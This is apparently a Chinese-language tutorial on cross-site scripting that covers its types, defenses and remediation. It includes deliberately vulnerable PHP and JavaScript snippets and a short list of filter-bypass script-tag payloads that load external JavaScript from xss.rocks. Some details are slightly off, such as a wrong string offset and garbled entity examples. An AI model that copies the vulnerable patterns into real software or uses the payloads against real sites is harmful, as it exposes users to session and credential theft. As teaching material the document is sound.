XSS(Cross Site Script)名字的由来
XSS注入为跨站脚本攻击注入,其英文Cross Site Script的缩写是CSS,与层叠样式表相冲,为了避免语义混淆,取XSS来代表跨站脚本攻击
XSS(Cross Site Script)原理
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS(Cross Site Script)特点
- 多样性:攻击方式多种多样,包括反射型、存储型和 DOM 型等。
- 隐蔽性:通常难以被察觉,用户在不知情的情况下就可能受到攻击。
- 广泛性:可影响各种类型的网站和 Web 应用程序。
- 危害性:能窃取用户的敏感信息,如登录凭证、信用卡号等;还可以劫持用户会话、进行欺诈活动、篡改页面内容等。
- 易传播性:通过社交网络、电子邮件等渠道快速传播。
- 利用浏览器漏洞:常常利用浏览器的安全漏洞来执行恶意脚本。
- 绕过防御机制:攻击者会不断寻找新的方法来绕过网站的安全防御机制。
XSS(Cross Site Script)类型
- 反射型 XSS:攻击者通过构造恶意链接,当用户点击这个链接时,恶意脚本会作为请求参数的一部分被服务器接收,并立即返回嵌入了恶意脚本的响应页面。比如,您收到一个带有奇怪参数的网址链接,一点击,您的浏览器就执行了恶意脚本。
- 存储型 XSS:恶意脚本被直接存储在服务器端(比如数据库、文件系统等)。无论哪个用户访问相关页面,都会加载并执行这个恶意脚本。就好像服务器的某个地方一直藏着“坏东西”,谁来都能碰到。
<?php
$username = $_GET['username'];
echo $username;
- DOM 型 XSS:通过修改页面的 DOM 结构(文档对象模型)来注入恶意脚本。这种攻击主要是利用网页本身的脚本逻辑漏洞,而不是依赖服务器端的响应。也就是说,攻击脚本是在客户端浏览器中被执行的。
<script>
var temp = document.URL;//获取URL
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));//输入获取内容
</script>
XSS(Cross Site Script)防御措施
- 输入验证:对用户输入的数据进行严格检查和过滤,只允许合法的字符和格式。比如,限制只接受字母、数字等特定类型的输入。
- 输出编码:在将用户输入的数据显示到网页上时,对特殊字符进行编码,使其无法被解释为可执行的脚本。例如,把 < 转换为 < ,把 > 转换为 > 。
- 使用安全的库和框架:许多成熟的 Web 开发框架都有内置的 XSS 防御机制,使用它们可以减少漏洞风险。
- 内容安全策略(CSP):通过设置浏览器的策略,限制网页可以加载的资源来源,防止恶意脚本的注入和执行。
- 定期安全测试:包括代码审查、漏洞扫描等,及时发现和修复可能存在的 XSS 漏洞。
XSS(Cross Site Script)绕过方式
- 使用一些字符绕过".js"过滤
通过改名将JavaScript文件伪装成图像文件,以绕过过滤器:
<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>
- 利用HTML引号包含的XSS
在某些浏览器中,可以通过特定的引号使用方式绕过XSS过滤器:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
如何修复XSS漏洞
- 输入验证和清理:对用户输入的数据进行严格的验证和过滤。只允许合法的字符和格式,去除或转义可能用于注入脚本的特殊字符,如 < 、 > 、 " 、 ' 、 & 等。
- 输出编码:在将用户输入的数据显示到网页上时,对其进行适当的编码。例如,将 HTML 特殊字符转换为对应的 HTML 实体,如 < 转换为 < , > 转换为 > 等。
- 使用安全的 API:使用编程语言和框架提供的安全函数和 API 来处理用户输入和输出,避免手动处理时出现错误。
- 设置 HTTP 响应头:设置合适的 HTTP 响应头,如 Content-Security-Policy ,来限制页面可以加载和执行的资源,增强安全性。
- 定期安全测试:使用自动化的安全扫描工具和进行手动的安全测试,及时发现和修复新出现的 XSS 漏洞。
- 员工培训:对开发人员进行安全培训,提高他们对 XSS 漏洞的认识和防范意识,确保在开发过程中遵循安全最佳实践。
参考文献:XSS攻击_百度百科 (baidu.com)XSS攻击绕过方法大全,XSS攻击技巧,收集100种绕过方法分享(2024最新) - 知乎 (zhihu.com),作者:知乎用户UHFZLR